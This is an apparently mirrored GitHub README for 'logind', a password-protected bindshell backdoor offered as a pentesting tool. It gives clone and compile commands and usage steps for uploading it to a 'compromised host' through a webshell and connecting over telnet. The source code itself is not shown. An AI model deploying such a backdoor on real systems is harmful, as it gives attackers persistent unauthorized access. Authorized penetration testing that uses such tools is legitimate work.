Giter Site home page Giter Site logo

logind's Introduction

logind

Simple pseudo-telnetd backdoor with ptty support.

It can be very useful in pentesting tasks when you can execute commands through webshell but you need interactive access.

Can be combined with other tools such as 'htun' reverse port tunneler.

Features

  • Pentesting backdoor pseudo-telnetd
  • Launch via webshell
  • Bindshell with interactive pttys support
  • Compatible Linux, Solaris, OSX and BSD.

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes.

Prerequisites

logind should run on any UNIX/Linux box. You only need a relatively modern gcc compiler.

Installing

Download a copy of the project from github:

$ git clone https://github.com/joseigbv/logind.git

Edit 'logind.c' and change configuration (optional).

Compile.

  • linux:
$ gcc -Wall -O2 logind.c -o logind -lutil
  • osx:
$ gcc -Wall -O2 logind.c -o logind
  • solaris:
$ gcc -Wall -O2 logind.c -o logind -lnsl -lsocket

Usage

Upload logind to the compromised host and launch using your webshell:

$ logind

logind dettach from terminal and run as daemon. Now, connect to the specified port using telnet, netcat, ...

$ telnet compromised-host 12345
password: [mypassword]
# 

Authors

License

This project is licensed under the MIT License - see the LICENSE file for details

logind's People

Contributors

joseigbv avatar

Stargazers

 avatar  avatar  avatar

Forkers

kiddlu

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.